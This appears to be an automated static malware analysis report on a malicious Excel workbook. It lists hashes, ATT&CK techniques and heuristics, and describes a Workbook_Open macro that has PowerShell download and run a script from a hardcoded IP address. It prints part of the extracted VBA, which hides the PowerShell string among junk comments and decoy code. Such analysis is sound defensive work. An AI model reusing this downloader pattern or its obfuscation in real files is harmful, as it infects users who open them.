Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dbf8839b4529dbd7…

MALICIOUS

Office (OOXML)

17.9 KB Created: 2021-07-05 10:06:26 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-09-15
MD5: 6c6dbf7fdc85016d10ba812daf5d8acb SHA-1: c307683055a356cbf775022173a5fe98260c74d5 SHA-256: dbf8839b4529dbd7680df566dd6b53fe8b7d4a151981ad766935e519ba9f5771
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The OOXML document contains a Workbook_Open VBA macro that is designed to execute a PowerShell command. This command downloads and executes a script from the hardcoded URL 'http://185.189.255.100/a.ps1'. The macro's intent is to download and run a second-stage payload, typical of a downloader malware.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7578 bytes
SHA-256: f1af48e578960b6a8df5667bf1ba63afb030de5f5f329b5e32d9e401201baf26
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
'EbJnLkbCnWFeQoVezoWEDIMEyPZuiMSthPZIJwSTXaGIEiLobfXywvTVnfWWkOnIeiYbnoAkBdHDcdavdLvbOAhU

'Copy the defined range
'Set focus on the target bookmark
'Delete the old table and paste new
On Error Resume Next
WdRange.Tables(1).Delete
WdRange.Paste 'paste in the table
'Adjust column widths

'Reinsert the bookmark
wdDoc.Bookmarks.Add "DataTableHere", WdRange
'Memory cleanup
'MsgBox ("VDP   rAVnKhIt")
'MNyELVWbyuOAKupdAyXUDRNyHNvewCzfvEAPYpDfkBss
'EfJrikJHtNvSHJXXWIbfGbYLQhSoVDbKvTDYXUQzCViHRWYVyQnVHsHChYEbsrLTLHHNfYZbSHJLUtUUiXVfkhcUubRYsOd
Dim uk, MzQDN
'IEsfUQEEhw
hKw = "P"
'IhWSPLFauzPzL  hIuzMYFnJKLWcRUuWNMDKkyUdnkhTL
HV = "o"
'QJoJXaoX  IhWSPLFauzPzL
bhhzvEXcEKi = "w"
'UWNznIYhiPbMcLkFIaTHpQvVoNeKpUQSVYhyWiwSdUdK sE
rhrZsWyO = "e"
'UWNznIYhiPbMcLkFIaTHpQvVoNeKpUQSVYhyWiwSdUdK sE
REskFMEnGYi = "r"
'vSLZvT EWtERShbUKyvhyvPYWAfssozWSShRNGELWnEFFYekFWKuHiNEkPnhaVkIXIYaawieUGwdMwyXrXQzJhrKfHIXvtL
ZffZFDDNiK = "s"
'EbJnLkbCnWFeQoVezoWEDIMEyPZuiMSthPZIJwSTXaGIEiLobfXywvTVnfWWkOnIeiYbnoAkBdHDcdavdLvbOAhU EWtERShbUKyvhyvPYWAfssozWSShRNGELWnEFFYekFWKuHiNEkPnhaVkIXIYaawieUGwdMwyXrXQzJhrKfHIXvtL
XY = "h"
'hIuzMYFnJKLWcRUuWNMDKkyUdnkhTL QJoJXaoX
kQYREnCiTsB = "e"
'QJoJXaoX EWtERShbUKyvhyvPYWAfssozWSShRNGELWnEFFYekFWKuHiNEkPnhaVkIXIYaawieUGwdMwyXrXQzJhrKfHIXvtL
ACSJEaBLG = "l"
'tSPkSpOCWrdDAOnDSPpcekFUAcssJIvStycneYVEIzwKLYYwGSrBBFUkoVOQTtSnevhbMayTTKzLXUkCdhQRoPtR sE
cJuudsQ = "l"
'dRawbZdFvYCnIQFHAyWpnkAfBzkME
'IhWSPLFauzPzL  QJoJXaoX
'DEBhSBiahGQtM  aI
'UWNznIYhiPbMcLkFIaTHpQvVoNeKpUQSVYhyWiwSdUdK sE
With Selection
.ClearContents
.Borders(xlDiagonalDown).LineStyle = xlNone
.Borders(xlDiagonalUp).LineStyle = xlNone
.Borders(xlEdgeLeft).LineStyle = xlNone
.Borders(xlEdgeTop).LineStyle = xlNone
.Borders(xlEdgeBottom).LineStyle = xlNone
.Borders(xlEdgeRight).LineStyle = xlNone
.Borders(xlInsideVertical).LineStyle = xlNone
.Borders(xlInsideHorizontal).LineStyle = xlNone
.Interior.ColorIndex = xlNone
End With
With Application.FileSearch
.NewSearch
'Change path to suit
.LookIn = "/Users/lcw/Desktop/excel"
.FileType = msoFileTypeExcelWorkbooks
If .Execute > 0 Then
For lCount = 1 To .FoundFiles.Count
Set wbResults = Workbooks.Open(Filename:=.FoundFiles(lCount), UpdateLinks:=0)
Sheets("US").Select
Rows("1:1").Select
Selection.Delete Shift:=xlUp
wbResults.Close SaveChanges:=True
Next lCount
End If
End With
Application.ScreenUpdating = True
Application.DisplayAlerts = True
Application.EnableEvents = True
'aI  vSLZvT
'  EbJnLkbCnWFeQoVezoWEDIMEyPZuiMSthPZIJwSTXaGIEiLobfXywvTVnfWWkOnIeiYbnoAkBdHDcdavdLvbOAhU
'hIuzMYFnJKLWcRUuWNMDKkyUdnkhTL  TvEYsoXQTKvYbGDTVADJcIUWrQAXPGFJEiEFHSRtsMKRfssJcvyFrsGvtHJGTZboeHAUcYudJhorYdRZzQUDkZnkGukZpvEsLtMD
' Za
'FkdhkMGKfwA
'HKBnBS
'JhTDOY
'TvEYsoXQTKvYbGDTVADJcIUWrQAXPGFJEiEFHSRtsMKRfssJcvyFrsGvtHJGTZboeHAUcYudJhorYdRZzQUDkZnkGukZpvEsLtMD
Dim rAVnKhIt As Long
'MsgBox Prompt:="QJoJXaoX?", _
Buttons:=vSLZvT , _
Title:="Za   "
'tSPkSpOCWrdDAOnDSPpcekFUAcssJIvStycneYVEIzwKLYYwGSrBBFUkoVOQTtSnevhbMayTTKzLXUkCdhQRoPtR
'   hIuzMYFnJKLWcRUuWNMDKkyUdnkhTL
Dim r As Long, x As Long
For x = 2 To r Step 1
If Range("C" & r).Value = Range("C" & r).Offset(-1).Value Then
Range("C" & r).Offset(-1).EntireRow.Delete
End If
r = r - 1
Next x
'PHbdHs
'aI  tSPkSpOCWrdDAOnDSPpcekFUAcssJIvStycneYVEIzwKLYYwGSrBBFUkoVOQTtSnevhbMayTTKzLXUkCdhQRoPtR
'PHbdHs
'aI   QJoJXaoX
'EWtERShbUKyvhyvPYWAfssozWSShRNGELWnEFFYekFWKuHiNEkPnhaVkIXIYaawieUGwdMwyXrXQzJhrKfHIXvtL   vSLZvT
'hIuzMYFnJKLWcRUuWNMDKkyUdnkhTL  EbJnLkbCnWFeQoVezoWEDIMEyPZuiMSthPZIJwSTXaGIEiLobfXywvTVnfWWkOnIeiYbnoAkBdHDcdavdLvbOAhU
'aI  tSPkSpOCWrdDAOnDSPpcekFUAcssJIvStycneYVEIzwKLYYwGSrBBFUkoVOQTtSnevhbMayTTKzLXUkCdhQRoPtR
MzQDN = hKw + HV + bhhzvEXcEKi + rh
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: 3f119f817290093e317b3f748a22cbdc174dd766ee4dace9fb15b5c32824abea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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